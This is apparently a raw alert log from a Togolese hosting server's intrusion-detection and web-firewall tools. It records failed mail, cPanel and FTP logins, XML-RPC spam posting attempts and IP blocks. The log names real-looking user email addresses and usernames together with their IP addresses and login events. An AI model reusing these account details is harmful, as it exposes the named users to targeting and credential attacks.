rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:30:16 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:5377: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.124.233.148
country_id: 1522867
description:
2026-06-05 17:30:32 H=([0.0.0.0]) [188.124.233.148]:31438 F=<John@4452.com> rejected RCPT <contractor@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6731501dfa56d22e330a1c00ae6fb59717d99514||Title:dl5gp603ehcg0xsokg||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b862d3bd0bce7bad5b6f6081d46900c5cd87a87e||Title:0xbde1969b||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd8adf2d282e02e0887523f04f5d43ffb83e3597||Title:gssmi530og41wyj||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b18a899042fba0caafe78f6b3614f8bb33225f6c||Title:0xf8dbee68||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:066e935aafde1db24a4a1d6a91f6e6374116a351||Title:0x77fc434a||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:31:51 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:23424: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b4e9b6e4ecc6bf26c3c52bde776d5f669e2e9d9f||Title:25qllas1qnsyv552||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 17:33:34 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 17:33:36 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55226: 535 Incorrect authentication data (set_id=files)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f7b1f16dbb4ca5e1933249ded30ea8b551ae0d70||Title:izgcvqamaqz130x4||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:843a9a9337d9999bcef34b97977ea257e76ad39d||Title:0xe446b802||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d123c72f8e26360459fa0c0a36d0bef16b501492||Title:0xafe3a7d8||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.111
country_id: 1512440
description:
2026-06-05 17:33:47 H=([213.230.87.111]) [213.230.87.111]:59271 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:34:48 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:9984: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cd62aa0e98155b77f7ef233f341b85a773e049e4||Title:0x81bde1c5||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:35:53 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:17920: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:36:41 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fbb690eb37e598604bef5ffb5c885805b2879948||Title:0xaa42a1fb||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:36:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:43858: 535 Incorrect authentication data (set_id=rat)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:36:50 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:21376: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3770d266283829ed3026ab65bda9d45d63ac5b98||Title:0xadedbd59||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 17:38:19 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:41522: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:37:51 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:26368: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:46a5ddac1cf68adf489bad69f5d164befd54e170||Title:0xc5ecae1e||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:897a677674561a93184b521144be627e9f3b77fa||Title:0x5bd5478a||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:39:01 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:30080: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92eb4fb2bb397764986765e8a4629ad74092ac9a||Title:0x6d65aaff||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:40:11 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:8192: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:41:12 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:6784: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bac9086241a2017177240109226de0f042820a88||Title:0x77827f8e||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.195.173
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160500||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:42:12 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:9984: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:43:12 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:11392: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.161
country_id: 798544
description:
Jun  5 17:43:16 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.24
country_id: 732800
description:
Jun  5 17:43:32 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:44:22 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:11265: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 17:44:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:54563: 535 Incorrect authentication data (set_id=files)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.74
country_id: 953987
description:
Jun  5 17:43:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.74 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 51.68.240.51
country_id: 3017382
description:
51.68.240.51 - - [05/Jun/2026:17:45:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804445&pdata=https%253A%252F%252Ftdn.tg%252Fvoici-la-liste-des-93-universites-reconnues-et-agreees-par-letat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780681517 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/voici-la-liste-des-93-universites-reconnues-et-agreees-par-letat/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:51.68.240.51


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:45:23 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:18817: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.207
country_id: 3469034
description:
Jun  5 17:45:44 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.207
country_id: 3469034
description:
Jun  5 17:45:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.234.125.45
country_id: 798544
description:
Jun  5 17:46:04 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.234.125.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:46:24 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:6785: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:47:33 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:1536: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.95
country_id: 1269750
description:
Jun  5 17:48:03 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:48:40 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:27776: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:49:42 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:15360: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:50:52 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:11008: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.142
country_id: 3469034
description:
Jun  5 17:51:19 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 17:51:49 +0000] info [cpaneld] 185.213.83.243 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.168
country_id: 6252001
description:
[2026-06-05 17:51:47 +0000] info [cpaneld] 181.215.65.168 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:53:50 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:26880: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.235.135.94
country_id: 2589581
description:
2026-06-05 17:54:55 H=([105.235.136.249]) [105.235.135.94]:53321 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:55:03 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:7552: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.9.13
country_id: 3865483
description:
Jun  5 17:55:19 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.9.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.62.25.6
country_id: 690791
description:
Jun  5 17:55:33 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.62.25.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.62.25.6
country_id: 690791
description:
Jun  5 17:55:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.62.25.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.149.221
country_id: 690791
description:
Jun  5 17:55:51 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.149.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.120.144
country_id: 3865483
description:
Jun  5 17:59:16 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.120.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [05/Jun/2026:17:59:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263198&pdata=https%253A%252F%252Ftdn.tg%252Femploi-le-cabinet-aka-financial-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780682345 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/emploi-le-cabinet-aka-financial-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.120.126
country_id: 3469034
description:
Jun  5 18:00:18 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.120.126 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 137.184.246.47
country_id: 6252001
description:
137.184.246.47 - - [05/Jun/2026:18:01:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12960879&pdata=http%253A%252F%252Fceni.tg%252Fcgi-sys%252Fdefaultwebpage.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780682479 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/cgi-sys/defaultwebpage.cgi" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:137.184.246.47


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-05 18:00:57 +0000] info [webmaild] 196.170.45.140 - a.ajavon@wages.tg "POST /cpsess3082674314/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.0.186] != Current IP Address [196.170.45.140]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-05 18:00:57 +0000] info [webmaild] 160.242.195.10 - kakakpo@caissederetraites.tg "GET /cpsess9388665743/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 18:01:48 ns5 pure-ftpd[1898130]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 18:01:54 ns5 pure-ftpd[1898130]: (?@103.245.236.231) [WARNING] Authentication failed for user [www-data]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-02.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Withdraw Your Giant Bonus eropolik.blogspot.hu Eu||Email:vasamshettivinoda@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.65.188.175
country_id: 1643084
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:72abcbd972b5008c2e32335dfb40f4ee91050e50||Title:no4xqwqx5ys1ca||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 36.65.188.175
country_id: 1643084
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (36.65.188.175) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [05/Jun/2026:18:05:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973126&pdata=http%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780682702 HTTP/2.0" 404 561 snb.tg "http://snb.tg/" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.54.149.128
country_id: 732800
description:
84.54.149.128 - - [05/Jun/2026:18:05:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646121&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F10%252F18%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780682750 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/10/18/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.4775.1120 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.54.149.128


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 18:05:57 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.183
country_id: 3469034
description:
Jun  5 18:09:31 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.183 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants des emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension \xc3\xa0 les lib\xc3\xa9rer avec effet imm\xc3\xa9diat\xe2\x80\xa6</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13307,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-03-05-at-06.53.45-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13307\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>dans un communiqu\xc3\xa9 en date du 5 juin 2026, le maire de la commune des lacs 1 sur instruction du ministre de l\xe2\x80\x99administration territoriale, invite les occupants des emprises r\xc3\xa9serv\xc3\xa9es aux lignes \xc3\xa9lectriques haute tension \xc3\xa0 les lib\xc3\xa9rer avec effet imm\xc3\xa9diat\xe2\x80\xa6 lire le communiqu\xc3\xa9 complet ci-dessu. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=lac&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 18:14:20 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36598: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


